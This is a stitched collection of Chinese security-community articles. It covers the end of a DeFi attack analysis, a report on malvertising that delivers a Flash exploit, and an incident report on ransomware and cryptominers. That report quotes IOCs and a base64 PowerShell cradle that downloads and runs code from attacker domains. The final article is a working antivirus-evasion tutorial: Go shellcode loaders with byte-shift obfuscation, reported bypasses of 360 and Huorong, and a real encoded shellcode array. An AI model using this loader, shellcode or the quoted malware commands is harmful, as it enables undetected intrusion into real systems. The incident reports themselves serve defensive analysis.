这里有一个重要操作：官方StakePrizePool合约中执行了只有管理员可操作的setPrizeStrategy方法，并且该方法将攻击者之前创建的MultipleWinners合约地址设置为新的_prizeStrategy地址。
随后攻击者通过MultipleWinners合约中可铸造Ticket Titano代币的_awardTickets方法，
铸造了3200万Ticket
Titano代币（由于此处MultipleWinners合约由攻击者生成，所以攻击者很容易达到管理员地址onlyOwner的条件）。
铸币完成后，官方StakePrizePool合约又将原始的_prizeStrategy地址设置回去。
2.第二部分将Ticket Titano代币转换成BNB，攻击者首先通过StakePrizePool合约将Ticket
Titano代币代币转换成TITANO代币，随后通过PancakeSwap将得到的TITANO代币兑换成BNB，一共获得约4828枚BNB。
3.攻击者将获得的4828枚BNB以200枚为一组转移至25个钱包地址，目前转移后的资金暂未流动。
目前Titano Finance已宣布参与Titano PLAY用户都将全额退还其代币。
## 0x5 总结
通过此次攻击事件来看，攻击者最重要的步骤是Titano
Finance官方StakePrizePool合约只有管理员可调用的方法进行了恶意操作，基本可以确定为管理员地址泄露或者内部拥有该管理员私钥人员所为，不管出于哪种情况，项目出现类似的波动都是用户不想遇到的，所以对于项目管理者密钥安全性，零时科技安全团队给出以下建议。
## 0x6 安全建议
* 建议管理员地址使用多签钱包管理私钥
* 建议管理员地址采用锁合约限制管理员敏感操作 | 社区文章 |
# 国内主流网站被插件广告挂马
|
##### 译文声明
本文是翻译文章，文章来源：360安全卫士
译文仅供参考，具体内容表达以及含义原文为准。
2015年12月16日16时开始, 360安全中心监测到大量用户在访问百度 、腾讯、爱奇艺等国内主流网站时,遭遇漏洞挂马攻击,
受影响的用户日均超过30万,次数达到每天近两千万次。
360安全中心对此进行了深入分析和追踪后发现,该问题并非是这些大型网站遭到挂马攻击,而是一款广告软件:“叮叮天气”从中作祟。
叮叮天气是一款号称桌面天气的软件,在通过捆绑等方式进入用户电脑后,其会注入代码到IE浏览器和CHROME核心的浏览器中,当这些浏览器访问特定的网站时(包括百度、腾讯、网易、新浪、爱奇艺等知名的娱乐、军事、新闻类网站),叮叮天气注入的代码会从其服务器上拉取广告代码并显示
从16日开始,叮叮天气拉取并插入浏览器进行劫持的广告中一个伪装成“大战神”的广告包含了漏洞挂马代码,导致用户在访问这些被劫持知名网站时,被漏洞挂马攻击
当用户被弹出包含漏洞挂马的广告页面时,会触发网站上的漏洞攻击代码,可能导致用户电脑被安装恶意程序,并受到恶意程序控制, 包括同时“被安装”数十款流氓软件。
由于被捆绑安装了叮叮天气的用户量很高,而它又劫持了上百家知名网站并对其插入广告,因此感染人数众多,从目前挂马网站的统计数据来看,仅16日,受该挂马网站攻击的用户就达到了37万,总次数达到了1986万次。
如图,下面是恶意广告商利用广告联盟推广的伪装“大战神”广告,当浏览这些网站弹出这类广告时,实际后台已经加载了恶意的漏洞样本,针对用户进行攻击。
技术分析:
以Chrome核心的浏览器为例,当安装了叮叮天气后,叮叮天气会向浏览器安装一个插件:
ddtianqi_dep.crx,该插件和其辅助程序NaMsg.exe配合, 启动ddweather.exe程序。
当浏览器访问任意网站时,例如user.qzone.qq.com时,叮叮天气的插件会向http://www.51bgz.com/1001 发送请求,
该网站会自动下发一个JS文件, 插件将该JS嵌入到当前网站中运行,关键代码如图:
接着,被嵌入的JS检测当前网站是否在要劫持的知名娱乐、新闻、军事类网站列表中,如果存在,就从CNZZ上拉取广告运行
下面是部分被劫持的网站列表判断代码:
在CNZZ上拉取得广告会访问http://www.wo560.com/anshua.html页面,使用iframe将该页面嵌入运行:
该页面包含了4条百度广告,其中ID为1167760的百度联盟广告中,包含了最终的漏洞攻击页面的代码:
Anshua.html (暗刷)页面的代码
抓包发现百度广告联盟返回含有最终恶意攻击代码的广告页面:http://172.87.29.51/37g.htm
该用于最终漏洞攻击的广告页面会加载一个SWF文件(http://
172.87.29.51/37FSDFSD5756FADS0fsdaGame.swf),该FLASH文件会利用Adobe
Flash的NDAY漏洞CVE-2015-5119 漏洞,下载并安装恶意程序。
下面是swf文件的部分漏洞利用关键代码:
{
prototype.valueOf = function (){
var _local_1:int;
logAdd("MyClass.valueOf()");
_va = new Array(5);
_gc.push(_va);
_ba.length = 0x1100;
while (_local_1 < _va.length) {
_va[_local_1] = new Vector.<uint>(1008);
_local_1++;
};
return (64);
};
}
使用360安全产品可防御该SWF的攻击,通过VirusTotal显示,多家国内外安全软件可检测该SWF文件, 但国内仅有360和瑞星可检测和拦截:
当恶意的SWF文件成功触发漏洞后,会从其木马网站上下载sever.exe并运行,该程序是一个恶意下载者,会从木马网站下载多款软件进行强制安装从而赚取推广佣金,包括:
金山毒霸
USB宝盒
80易关机
小福日历
广告拦截大师/净网大师
波波游戏
钰财购物比价助手
万能WIFI
暴风游戏盒子
等, 使用360安全产品可防御该木马下载者及其推广的流氓软件:
通过分析发现,该挂马网站包含了一个统计后台,实时统计木马的传播情况,在统计平台上,可以初步观察到该挂马网站的通过广告联盟,再经由这些主流网站传播的数量:
可以看到,仅16日(昨日)一天,访问挂马页面的次数就达到了惊人的1986万次, 人数达到37万次,截止今日21点,挂马网站仍在活跃,
访问次数已经达到了1465万,36万用户受到攻击,每天新遭受攻击的用户在十万以上。
下面是被该广告插件劫持的网站完整列表:
"www.4399.com"
"v.youku.com"
"www.letv.com"
"tv.sohu.com"
"www.tudou.com"
"t.qq.com"
"sports.sina.com.cn"
"news.4399.com"
"www.ku6.com"
"www.ce.cn"
"xyx.hao123.com"
"4399.iqiyi.com"
"www.youyuan.com"
"picture.youth.cn"
"news.xinhuanet.com"
"www.soku.com"
"news.k618.cn"
"photo.gmw.cn"
"economy.gmw.cn"
"sports.qq.com"
cheshi
"news.youth.cn"
"www.chinanews.com"
"www.docin.com"
"news.china.com.cn"
"mil.sohu.com"
"www.wasu.cn"
"vod.kankan.com"
"sports.163.com"
"www.doc88.com"
"www.m1905.com"
"www.xxhh.com"
"www.baxue.com"
"www.3jy.com"
"www.jide123.com"
"www.junshi.cc"
"www.4399dmw.com"
"www.gexing.com"
"yule.2258.com"
"www.tianyi176.com"
"www.cxzww.com"
"www.211js.com"
"bbs.xinjunshi.com"
"www.guoman8.com"
"www.readnovel.com"
"bbs.miercn.com"
"www.23us.com"
"bbs.qianyan001.com"
"www.milnews2.com"
"photo.haiwainet.cn"
"pic.jrj.com.cn"
"www.cnrexue.com"
"tuku.military.china.com"
"xiao.39yst.com"
"www.junqing123.com"
"www.23hh.com"
"video.baomihua.com"
"www.juyouqu.com"
"www.mahua.com"
"www.top81.com.cn"
"www.fxingw.com"
"www.66721.com"
"www.epzw.com"
"www.u8xs.com"
"bbs.tiexue.net"
"qzone.qq.com": 395349,
"s.taobao.com"
"item.taobao.com"
"user.qzone.qq.com",
"mail.qq.com",
"www.sj88.com",
"news.ifeng.com",
"car.autohome.com.cn",
"www.iqiyi.com",
"news.qq.com",
"mp.weixin.qq.com",
"quote.eastmoney.com",
"www.zb8.com",
"ent.qq.com",
"mail.163.com",
"www.58pic.com",
"guba.eastmoney.com",
"www.autohome.com.cn",
"rc.qzone.qq.com",
"www.sohu.com",
"www.leitingcn.com",
"www.biquge.la",
"www.bdxyjz.com",
"news.sohu.com",
"fashion.qq.com",
"www.qulishi.com",
"www.9yaocn.com",
"gu.qq.com",
"blog.ifeng.com",
"car.bitauto.com",
"fund.eastmoney.com",
"www.zhibo8.cc",
"bbs.tianya.cn",
"fashion.ifeng.com",
"ent.ifeng.com",
"preview.mail.163.com",
"www.weather.com.cn",
"www.bilibili.com",
"s.weibo.com",
"mil.news.sina.com.cn",
"news.haiwainet.cn",
"v.ku6.com",
"www.7k7k.com",
"news.docer.com",
"bbs.qtv.com.cn",
"pic.chinadaily.com.cn",
"cpro.baidu.com" | 社区文章 |
# 勒索挖矿两开花：新变种不断来袭，你需要提高警惕
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
防护千万条，安全第一条；
补丁没打全，中毒两行泪。
近日，安全狗海青实验室接到多起客户中毒求助，经安全研究人员分析，这些病毒感染的途径90%以上都是“永恒之蓝”漏洞和弱口令爆破。
自2017年NSA”武器库”被黑客组织”影子经纪人”泄露以及WannyCry勒索病毒的爆发，“永恒之蓝”就是一个经久不息的话题，直到2019年的今天，还有大量主机因为“永恒之蓝”漏洞感染病毒。
2019年4-5月，我们所接触以及处理的病毒大多利用永恒之蓝漏洞进行传播，而在没有打过补丁的机器中，往往有多种病毒同时存在，”历史包袱”严重。不仅如此，近期的挖矿木马和勒索病毒为了对抗杀毒软件，更是频繁迭代新版本，为了抢占受害者的”算力市场”，黑客怕是早已进入了”996”。
总的来说，以安全卫道，任重而道远。
根据近期应急支撑工作总结的情况，我们把遇到的问题主要分为两大类来讨论：勒索病毒和挖矿木马。
## 一、勒索病毒
此次发现的勒索病毒除了利用经典的永恒之蓝漏洞和弱口令爆破感染外，还利用多个中间件NDay对互联网主机进行攻击。我们在发现病毒后第一时间发出勒索病毒预警：
[【安全预警】警惕！Satan勒索病毒新变种卷土重来](http://mp.weixin.qq.com/s?__biz=MjM5NTc2NDM4MQ==&mid=2650811662&idx=1&sn=dc5e607378e5c8a288d7ccf450b5bd51&chksm=bd070cfc8a7085eaf0789f60235da62f0b02f46f4e93300d833d72d821a83934d46e5c82d13e&scene=21#wechat_redirect)
[【高危安全预警】Sodinokibi勒索软件感染Windows服务器预警](http://mp.weixin.qq.com/s?__biz=MjM5NTc2NDM4MQ==&mid=2650811735&idx=1&sn=5fa8db03f0a2a11567b6ff559520f06e&chksm=bd070ca58a7085b3af32f6351e63ddd8daf6d37243b8d4da6964eb041fa7ee27289e8719ff63&scene=21#wechat_redirect)
### 1\. Satan勒索病毒
2019年4月中旬，海青实验室接到客户求助，并截获到Satan勒索病毒最新变种。该变种病毒会针对Windows系统和Linux系统进行无差别攻击。
Satan病毒在Windows电脑/服务器中，利用永恒之蓝漏洞对局域网Windows电脑进行攻击，同时攻击模块利用JBoss、Tomcat、Weblogic、Apache
Struts2多个组件漏洞以及Tomcat弱口令爆破对Windows、Liunx服务器进行攻击。病毒攻击模块在对目标主机攻击成功后，将针对目标操作系统到C2下载勒索病毒主体，并对文件进行加密。目前已有多家企业中招。
病毒攻击模块对主机攻击成功后，判断目标主机操作系统类型，其次到服务器(111.90.159.106)下载相应病毒主体。Windows系统将病毒文件放在C:\fast.exe，linux系统病毒主体在/tmp/r.sh。下载成功后执行病毒文件。
病毒执行后将对本地文件加密，并对局域网主机进行横向感染。勒索信采用中文编写，看来黑客主要勒索目标是中国用户。勒索信信息如下图：
**日志溯源：**
查看jboss日志，发现从2019-04-xx 02:55:51开始一直有恶意利用jboss漏洞的exp在对中毒机器进行攻击：
初步分析，最后利用成功的应该是一个jboss反序列化漏洞：
攻击成功后，上传jsp文件satan.jsp。该文件如上文：根据系统从c2下载勒索软件本体并执行。
**防范措施**
对于勒索病毒，我们只能尽量防范。因为一旦中招，除了支付赎金，能解密的几率非常小，因此防范和中毒后的处理是重点。
1、及时升级操作系统安全补丁，升级Web、数据库等服务程序，防止病毒利用漏洞传播。
2、JBoss、Tomcat、Weblogic、Apache Struts2等服务器组件即时安装安全补丁，更新到最新版本。
3、服务器、Tomcat等登录避免使用弱密码，建议使用“大写字母+小写字母+数字+符号”8位以上密码。
4、定期做好重要数据备份。
**IOCs：**
111.90.159.106
http://111.90.159.106/r.sh
http://111.90.159.106/f.exe
fe014fbf44e2b42d70e3effa2248348a
### 2、Sodinokibi勒索病毒
该病毒家族最早出现于2019年4月下旬，其传播和利用手法丰富，短期内版本更新迭代快。目前应急的客户中，嘉兴、泸州都有中此病毒的案例。
**传播途径**
1) 该病毒利用3389弱口令爆破
2) 4月底刚披露的Weblogic远程代码执行漏洞CVE-2019-2725并配合其他nday漏洞对Windows服务器发起攻击
3) cve-2018-8453 Windows内核提权漏洞提升自身权限
4) 垃圾邮件传播
Sodinokibi勒索软件感染服务器成功后会生成文件加密后缀名+readme.txt的勒索信息，勒索信息包括个人的ID序列号，以及恶意软件作者的联系方式。有趣的是最初的曝光者Cisco
Talos团队披露的攻击者勒索信息开头显示的是“Hello Dear friend”，而此处使用的是“Welcome
Again”，不排除攻击者实施攻击的过程中有二次投递勒索软件的行为。
**防范措施**
1、Weblogic、Apache Struts2等服务器组件及时安装安全补丁，更新到最新版本。
2、远程桌面避免使用弱密码，建议使用“大写字母+小写字母+数字+符号”8位以上密码。
3、对重要的数据文件定期进行非本地备份。
**IOCs**
MD5：e62c896825a6d186f34fb16b1f57490a
Domain：
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion
http://decryptor.top
## 二、挖矿木马
### 1、死灰复燃的DTLMiner家族挖矿木马
该家族病毒自”驱动人生”事件后开始活跃。从入侵“驱动人生”植入挖矿病毒升级插件到对自身病毒更新频率、持久化机制的改变、对抗杀软的手法来看，我们认为该团伙是一个“渗透经验丰富”同时具备较强的反侦察能力的职业黑产团伙。
我们先来回顾一下该团伙搞的“大新闻”。
2018年12月14日，“驱动人生”的升级模块被不法分子利用传播挖矿木马病毒“DTLMiner”，短期内感染数万台计算机。
驱动人生升级推送程序会通过网址链接Http://pull.update.ackng.com/calendar/PullExecute/F79CB9D2893B254CC75DFB7F3E454A69.exe将病毒下载到本地执行。
该病毒运行后，将自身释放到System32（或SysWOW64）目录下（C:WindowsSysWOW64svhost.exe），将该可执行文件注册为系统服务继续执行恶意代码，注册服务名为Ddriver。
svhost.exe为永恒之蓝漏洞攻击组件，执行之后会对内网具有永恒之蓝漏洞和弱口令的主机进行横向传播，并从http://dl.haqo.net
下载攻击组件执行。(下载的文件即为该svhost.exe)。此外，该svhost进程还将搜集主机信息，发送到服务器http://i.haqo.net/i.png
除了攻击、感染、信息搜集外，此时该病毒还未触发其他恶意行为，初步推测该病毒属于测试阶段。下面将盘点该DTLMiner家族各版本中对抗杀软的手法变化，并给予对应的清除方案。
**1.1 版本1-文件增肥**
病毒采取落地PE文件形式，文件名是随机的，木马在生成过程中会在文件末尾填充垃圾数据，生成50M左右的大文件来逃避特征查杀。
该木马启动后会在多个系统目录下释放增肥的木马文件，以随机的方式生成的文件名。
C:\windows；
C:\Users\admin\AppData\Roaming；
C:\Users\gouchen\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup；
通过schtasks 创建任务计划：
schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN <随机名> /tr
“cmd.exe /c C:\Windows\<随机名>.exe”
通过注册表启动项添加开机自启，并把C:/Users/admin/AppData/Roaming目录下的增肥木马当作启动程序：
HKEY_LOCAL_MACHINESOFTWAREMicrisiftWindowsCurrentVersionRun
**清除方案**
删除病毒文件：
C:\Windows\Temp\sartpg.exe
%appdata%\Microsoftcred.ps1
C:/Windows/随机名.exe
C:/Users/admin/AppData/Roaming/随机名.exe
C:/Users/admin/AppData/Roaming/Microsoft/Windows/Start
Menu/Programs/Startup/随机名.exe
删除以下计划任务：
随机名
cmd.exe /c C:Windows随机名.exe
删除菜单启动项下的病毒文件：
C:UsersgouchenAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup随机名.exe
删除注册表中的恶意启动项以及操作文件：
HKEY_LOCAL_MACHINESOFTWAREMicrisiftWindowsCurrentVersionRun
C:/Users/admin/AppData/Roaming/随机名.exe
**1.2 版本2-服务持久化**
该版本采用服务进行自身持久化，在漏洞利用成功后，创建随机名称的服务
类似客户这台机器，被多次感染后创建了多个随机的病毒服务，利用服务对自身进行持久化。
服务的可执行文件路径：
C:\Windows\system32\cmd.exe /C “netsh.exe firewall add portopening tcp 65530
DNS&netsh interface portproxy add v4tov4 listenport=65530
connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE
/mo 40 /st 07:00:00 /tn “MicrosoftwindowsRass” /tr “powershell -nop -ep bypass
-e
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAHcAbQA/AGgAZABwACcAKQA=”
/F &schtasks /run /tn “MicrosoftwindowsRass””
**清除方案**
禁用该服务，遍历任务计划(不仅仅在MicrosoftwindowsRass有任务计划)，清除powershell任务计划
**1.3版本3-利用JS脚本执行**
在攻击成功后，病毒在系统启动项释放flashplayer快捷方式，并在%appdata%释放flashplayer.tmp文件
该文件内容是一个脚本，使用JS 调用PowerShell脚本下载。
下载的模块解密后分别：设置任务计划，启动持久化机制，根据系统版本下载powershell挖矿脚本，下载攻击脚本进行横向传播
**清除方案**
%appdata%中的flashplayer.tmp文件
清除启动项中的快捷方式
遍历任务计划，和版本2的方案一样，删除powershell任务计划
**1.4 版本4-无文件落地伊始**
该版本采用无文件落地形式在系统进行驻留，病毒感染成功后直接创建如下任务计划
schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn
“MicrosoftwindowsRass” /tr “powershell -nop -ep bypass -e
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAHcAbQA/AGgAZABwACcAKQA=”
/F &schtasks /run /tn “MicrosoftwindowsRass”
同样的，这些任务计划从黑客服务器中下载代码，并直接执行，传统的静态杀毒引擎并不能查杀它。
**清除方案**
遍历任务计划，清除powershell任务即可
**1.5 版本5-任务计划隐藏**
在版本4的基础上，利用某些windows版本对任务计划xml文件解析错误的bug，用特殊字符命名任务计划。导致在图形界面中显示不了该任务计划。
**清除方案**
要清除这些任务计划，到系统路径C:WindowsSystem32Tasks或C:WindowsTasks中，遍历这些xml文件，找到powershell任务相关的xml，删除。
**1.6 版本6-未知持久化**
个别机子新的变种中，有不明进程启动powershell，通过查看该powershell参数，确认这个是病毒启动的。但是这个powershell启动后，执行自退出，并没有进一步感染、挖矿、占用CPU。检查了一些持久化机制(计划任务、服务、启动项等没发现问题)但是定位不到启动方式。
虽然该powershell启动后自杀，并没有执行到恶意代码部分，但是不能保证后期不会再次爆发。
这个powershell 的父进程是 C:\Windows\svchost.exe，但是svchost.exe是系统的服务进程，系统服务依托了任务计划
wmi
等多个系统服务，检查了该PID下依托的服务都是正常的；用了360处理后发现360没有对这个进行查杀，但是实时监控powershell启动的参数，对类似如下参数启动的powershell进程进行阻断：
C:\Windows\System32\Windows\PowerShellv1.0\powershell.EXE -nop -ep bypass -e
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAHcAbQA/AGgAZABwACcAKQA=
**可行措施**
通过进程监控，获取powershell参数，判断是否为病毒阻止其执行。
**1.7整体查杀方案**
1）对于有二进制文件落地的版本，用云眼查杀；
2）对于没有文件落地的版本
a.遍历服务，禁用服务名为随机字母组成、服务文件路径特征为
C:\Windows\system32\cmd.exe /C “netsh.exe firewall add portopening tcp 65530
DNS&netsh interface portproxy add v4tov4 listenport=65530
connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE
/mo 40 /st 07:00:00 /tn “MicrosoftwindowsRass” /tr “powershell -nop -ep bypass
-e
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAHcAbQA/AGgAZABwA
b.遍历任务计划，清除powershell特征的任务
其特征为：
启动次数频繁(30-60分钟执行一次)
Powershell 参数如：-ep bypass -e + base64 编码数据、-hidden 隐藏窗口
用windows自带的任务计划图形界面程序有时候无法获取完全的任务计划(如2.3.5)，建议使用代码遍历任务计划文件夹C:\Windows\System32\Tasks或C:\Windows\Tasks，通过删除这些xml文件来清除任务计划。
a.清除注册表
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
删除以随机名称命名、数值数据为C:\Windows\System32\config\system\profile\AppData\Roaming +
随机名称的注册表键
b. 对于未知启动的恶意powershell，通过进程监控，阻断带有恶意参数的powershell进程（恶意参数参考2）
**IOCs**
IP：27.102.107.137
域名：p.beahh.com、v.beahh.com、v.y6h.net、down.bddp.net、p.bddp.net、v.bddp.net、p.zer2.com、p.awcna.com、p.amxny.com
### 2\. MsraMiner挖矿家族
该挖矿木马家族在今年4-5月份也算是比较活跃的，在应急过程中，DZJ、JX、NJ、LZ项目中都有发现中此家族病毒的机器。
该变种利用“永恒之蓝”漏洞传播，在传播成功后，母体运行后释放服务模块，释放的服务模块名称随机拼凑。例如：ApplicationNetBIOSEvent.dll
病毒从以下字符串拼凑：
创建服务：ApplicationNetBIOSEvent(不同的机器不同服务名)，下放服务配置文件C:windowssystem32ApplicationNetBIOSEvent.dll
释放“永恒之蓝”攻击工具包到C:WindowsNetworkDistribution或C:WindowsSpeechsTracing目录，攻击内网中的其它机器。
**清除方案**
该病毒基于windows服务进行自身持久化，因此首先应禁用服务。
找到服务，服务为随机拼凑名，但也是有迹可循的：
服务描述为
Enables a common interface and object model for the $SERVER_NAME$ to access
management information about system update, network protocols, devices and
applications. If this service is stopped, most Kernel-based software will not
function properly. If this service is disabled, any services that depend on it
will fail to start.
或服务名wmassrv(这是比较老的版本，服务名不随机)
首先找到该服务，在任务管理器点击右键，转到进程。记下进程的PID。禁用该服务，停止该服务，结束该进程(刚刚我们记下的进程)，结束svchost.exe
*32 。删除或隔离C:WindowsNetworkDistribution
下所有文件。隔离C:windowssystem32ApplicationNetBIOSEvent.dll
**IOCs**
MD5：
befb60b1240d360ca74c25d3637e165e
95786b6c28bf8dba7bbfeeba9e1ec27a
## 三、总结
大部分主机由于没及时打上补丁和弱口令问题导致机器中毒，进而导致内网横向传播，造成大批量感染情况。鉴于勒索病毒、挖矿病毒不断更新攻击方法和持久化机制以对抗杀毒软件，以下提出几点有效的防范措施：
1、定期对自身管理的服务器进行安全体检，并及时更新漏洞补丁和病毒库。关注安全厂商发布的漏洞预警和病毒预警，对自身资产进行自查。除业务需要服务外，限制其余不必要服务及端口。
2、使用安全性高的密码。很多计算机管理人员并没有意识到自己使用的是弱口令，如密码带有设备、个人、单位、部门信息；常用英文单词(如Password、key、Huawei、admin)等关键词变型；键盘规律字符(如qaz、qwe、！@#、147)等等都是弱口令。建议使用大小写字母+数字+符号八位以上的字符串(最好是无规则)用作密码。且强烈不建议多台机器或数据库使用同一密码，应做到一机一码。
3\.
建立灾备方案。在信息安全中绝对安全是不存在的，对于重要资产应当建立一套完整的灾备方案，例如定时做好数据备份，建立备用服务器，做好主备机器切换策略，定期进行灾备演练。
4、限制服务器上的Powershell。黑客经常利用powershell来完成其渗透攻击，而大部分服务器上承载的业务其实用不到powershell。因此，若业务上用不到powershell组件，建议将其关闭或禁用。 | 社区文章 |
# 1 加减一 之 360、火绒 64位 1M
## 免杀加载器代码
### 加载器代码
package main
import (
"fmt"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码，应用程序可以读写该区域。
KEY_1 = 55
KEY_2 = 66
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll") // kernel32.dll它控制着系统的内存管理、数据的输入输出操作和中断处理
ntdll = syscall.MustLoadDLL("ntdll.dll") // ntdll.dll描述了windows本地NTAPI的接口
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") // VirtualAlloc申请内存空间
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") // RtlCopyMemory非重叠内存区域的复制
)
func main() { // 生成的shellcode值+1
xor_shellcode := []byte{ "shellcode+1" }
var shellcode []byte
for i := 0; i < len(xor_shellcode); i++ {
if xor_shellcode[i] == 255 {
shellcode = append(shellcode, xor_shellcode[i])
} else {
shellcode = append(shellcode, xor_shellcode[i]-1) //^KEY_1^KEY_2) 递归shellcode-1还原
}
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println("error------------------------------")
fmt.Println(err.Error())
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) // 将shellcode内存复制到申请出来的内存空间中
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println(err.Error())
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
// uintptr一个足够大的无符号整型， 用来表示任意地址。
// MEM_COMMIT标志将在页面大小边界上提交页面,而使用MEM_RESERVE或MEM_RESERVE | MEM_COMMIT将在大于页面大小的边界上保留或保留提交页面。
### 辅助代码（特定格式shellcode生成）
Shellcode+1并输出
package main
import (
"encoding/hex"
"fmt"
)
func main() {
xor_shellcode := []byte{ "原始shellcode" }
var js int = 0
var tmp string
var shellcode []byte
for i := 0; i < len(xor_shellcode); i++ {
if xor_shellcode[i] == 255 {
shellcode = append(shellcode, xor_shellcode[i])
} else {
shellcode = append(shellcode, xor_shellcode[i]+1) //^KEY_1^KEY_2) 递归shellcode+1
}
}
str := hex.EncodeToString(shellcode)
for j := 0; j < len(str)/2; j = j + 1 {
tmp = tmp + ",0x" + str[js:js+2]
js = js + 2
}
fmt.Println(tmp)
}
## 免杀效果
###
火绒免杀
### 360免杀
### Defender静态被杀
**注意：** 需要生成64位shellcode，32位会报错。
# 2 加减一+条件执行 之 360、火绒 64位 2M
## 免杀加载器代码
package main
import (
"fmt"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码，应用程序可以读写该区域。
KEY_1 = 55
KEY_2 = 66
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll") // kernel32.dll它控制着系统的内存管理、数据的输入输出操作和中断处理
ntdll = syscall.MustLoadDLL("ntdll.dll") // ntdll.dll描述了windows本地NTAPI的接口
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") // VirtualAlloc申请内存空间
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") // RtlCopyMemory非重叠内存区域的复制
)
func condition() {
var a string
for i := 1; i < len(os.Args); i++ {
a += os.Args[i]
}
b := "qaxnb"
if a == b {
build()
}
}
func build() { // 生成的shellcode值+1
xor_shellcode := []byte{0xfd, 0x49, 0x84, 0xe5, 0xf1, 0xe9, 0xc9, 0x01, 0x01, 0x01, 0x42, 0x52, 0x42, 0x51, 0x53, 0x52, 0x57, 0x49, 0x32, 0xd3, 0x66, 0x49, 0x8c, 0x53, 0x61, 0x49, 0x8c, 0x53, 0x19, 0x49, 0x8c, 0x53, 0x21, 0x49, 0x8c, 0x73, 0x51, 0x49, 0x10, 0xb8, 0x4b, 0x4b, 0x4e, 0x32, 0xca, 0x49, 0x32, 0xc1, 0xad, 0x3d, 0x62, 0x7d, 0x03, 0x2d, 0x21, 0x42, 0xc2, 0xca, 0x0e, 0x42, 0x02, 0xc2, 0xe3, 0xee, 0x53, 0x42, 0x52, 0x49, 0x8c, 0x53, 0x21, 0x8c, 0x43, 0x3d, 0x49, 0x02, 0xd1, 0x67, 0x82, 0x79, 0x19, 0x0c, 0x03, 0x76, 0x73, 0x8c, 0x81, 0x89, 0x01, 0x01, 0x01, 0x49, 0x86, 0xc1, 0x75, 0x68, 0x49, 0x02, 0xd1, 0x51, 0x8c, 0x49, 0x19, 0x45, 0x8c, 0x41, 0x21, 0x4a, 0x02, 0xd1, 0xe4, 0x57, 0x49, 0xff, 0xca, 0x42, 0x8c, 0x35, 0x89, 0x49, 0x02, 0xd7, 0x4e, 0x32, 0xca, 0x49, 0x32, 0xc1, 0xad, 0x42, 0xc2, 0xca, 0x0e, 0x42, 0x02, 0xc2, 0x39, 0xe1, 0x76, 0xf2, 0x4d, 0x04, 0x4d, 0x25, 0x09, 0x46, 0x3a, 0xd2, 0x76, 0xd9, 0x59, 0x45, 0x8c, 0x41, 0x25, 0x4a, 0x02, 0xd1, 0x67, 0x42, 0x8c, 0x0d, 0x49, 0x45, 0x8c, 0x41, 0x1d, 0x4a, 0x02, 0xd1, 0x42, 0x8c, 0x05, 0x89, 0x49, 0x02, 0xd1, 0x42, 0x59, 0x42, 0x59, 0x5f, 0x5a, 0x5b, 0x42, 0x59, 0x42, 0x5a, 0x42, 0x5b, 0x49, 0x84, 0xed, 0x21, 0x42, 0x53, 0xff, 0xe1, 0x59, 0x42, 0x5a, 0x5b, 0x49, 0x8c, 0x13, 0xea, 0x50, 0xff, 0xff, 0xff, 0x5e, 0x6b, 0x01, 0x4a, 0xbf, 0x78, 0x6a, 0x6f, 0x6a, 0x6f, 0x66, 0x75, 0x01, 0x42, 0x57, 0x4a, 0x8a, 0xe7, 0x4d, 0x8a, 0xf2, 0x42, 0xbb, 0x4d, 0x78, 0x27, 0x08, 0xff, 0xd6, 0x49, 0x32, 0xca, 0x49, 0x32, 0xd3, 0x4e, 0x32, 0xc1, 0x4e, 0x32, 0xca, 0x42, 0x51, 0x42, 0x51, 0x42, 0xbb, 0x3b, 0x57, 0x7a, 0xa8, 0xff, 0xd6, 0xec, 0x74, 0x5b, 0x49, 0x8a, 0xc2, 